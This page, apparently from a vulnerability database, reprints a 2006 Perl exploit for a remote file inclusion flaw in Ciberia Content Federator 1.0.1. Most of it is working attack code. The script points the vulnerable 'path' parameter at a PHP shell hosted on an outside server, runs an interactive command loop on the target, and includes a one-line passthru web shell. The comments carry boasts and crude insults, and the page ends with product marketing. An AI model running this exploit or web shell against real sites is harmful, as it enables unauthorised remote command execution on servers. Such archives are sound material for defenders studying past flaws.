Lucene search
K

Ciberia Content Federator <= 1.0.1 (path) Remote File Include Exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 10 Views

Ciberia Content Federator 1.0.1 Remote File Include Exploi

Code

                                                #!/usr/bin/perl
##
# Portal Name : ciberia 1.0&#60;(Ciberia Content Federator)&#62;(maquetacion_socio.php) Remote File Inclusion Exploit
# BUG: [Path]/socios/maquetacion_socio.php?path=Dr.Trojan.TxT
# Vulnerable Code: 1-include &#34;$path/datos/datos_socios.php&#34;; 2-include &#34;$path/elementos/actos.php&#34;; 3-include &#34;$path/datos/datos_ciberinvitados.php&#34;;
# Bug Found DeltahackingTEAM Discovery :Dr.Pantagon Expl0iteT:Dr.Trojan
##
# Download =http://switch.dl.sourceforge.net/sourceforge/ciberia/ciberia-1.0.1.tar.gz
##
# usage:perl deltaSecurity.pl &#60;target&#62; &#60;cmd shell location&#62; &#60;cmd shell variable&#62;
#
#
# perl deltaSecurity.pl  http://[target]/[Path]/socios/ http://site.com/cmd.txt cmd
#
# cmd shell example: &#60;?passthru($_GET[cmd]);?&#62;
#
# cmd shell variable: ($_GET[cmd]);
##
##
#Greetz: Hiv++, D_7j ,Vpc,Lord,Str0ke,
#
# Contact:dr.trojan[A]deltasecurity.ir info[A]takserver.ir Davood_cracker[A]yahoo.com
##
# WebSite:www.deltasecurity.ir
##
#128 Bit Security Server:www.takserver.ir
##
#SP FUCK.............: z_zer0c00l(floozie Mother Test 100%=z_zer0c00l=misbegotten:D)..........
##

use LWP::UserAgent;
$Path = $ARGV[0];
$Pathtocmd = $ARGV[1];
$cmdv = $ARGV[2];
if($Path!~/http:\/\// || $Pathtocmd!~/http:\/\// || !$cmdv){usage()}
head();
while()
{
      print &#34;[shell] \$&#34;;
while(&#60;STDIN&#62;)
      {
              $cmd=$_;
               chomp($cmd);
$xpl = LWP::UserAgent-&#62;new() or die;
$req = HTTP::Request-&#62;new(GET =&#62;$Path.&#39;maquetacion_socio.php?path=&#39;.$Pathtocmd.&#39;?&&#39;.$cmdv.&#39;=&#39;.$cmd) or die &#34;\nCould Not connect\n&#34;;
$res = $xpl-&#62;request($req);
$return = $res-&#62;content;
$return =~ tr/[\n]/[?..?.??]/;
if (!$cmd) {print &#34;\nPlease Enter a Command\n\n&#34;; $return =&#34;&#34;;}
elsif ($return =~/failed to open stream: HTTP request failed!/ || $return =~/: Cannot execute a blank command in &#60;b&#62;/)
      {print &#34;\nCould Not Connect to cmd Host or Invalid Command Variable\n&#34;;exit}
 elsif ($return =~/^&#60;br.\/&#62;.&#60;b&#62;Fatal.error/) {print &#34;\nInvalid Command or No Return\n\n&#34;}
if($return =~ /(.*)/)
 {
      $finreturn = $1;
      $finreturn=~ tr/[?..?.??]/[\n]/;
     print &#34;\r\n$finreturn\n\r&#34;;
       last;
 } else {print &#34;[shell] \$&#34;;}}}last;
sub head()
 {
 print &#34;\n============================================================================\r\n&#34;;
 print &#34; *We Are 1 in Iran & 4in W0rld 0ur Server:http://takserver.ir
                      Farzad Sharifi *\r\n&#34;;
 print
 &#34;============================================================================\r\n&#34;;
 }
sub usage()
 {
 head();
 print &#34; Usage: perl deltasecurity.pl &#60;target&#62; &#60;cmd shell location&#62; &#60;cmd shellvariable&#62;\r\n\n&#34;;

 print &#34; &#60;Site&#62; - Full path to wob-0.1 ex: http://[target]/[Path]/socios/ \r\n&#34;;
 print &#34;&#60;cmd shell&#62; - Path to cmd Shell e.g http://d4wood.by.ru/cmd.gif \r\n&#34;;
 print &#34; &#60;cmd variable&#62; - Command variable used in php shell \r\n&#34;;
 print &#34;============================================================================\r\n&#34;;
 print &#34;                         Bug Found DeltahackingTEAM \r\n&#34;;
 print &#34;                       Iranian Are The Best In World \r\n&#34;;
 print &#34;                Dr.Trojan,HIV++,D_7j,Lord,VPc,,Dr.Pantagon,\r\n&#34;;
 print &#34;                      http://advistory.deltasecurity.ir((0ur Bug))\r\n&#34;;
 print &#34;                         http://www.deltasecurity.ir\r\n&#34;;
 print &#34;                         Dr.Trojan&&&&&&&&&&&&&&Dr.Pantagon&#34;;
 print &#34;============================================================================\r\n&#34;;
 exit();
 }

# milw0rm.com [2006-12-25]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation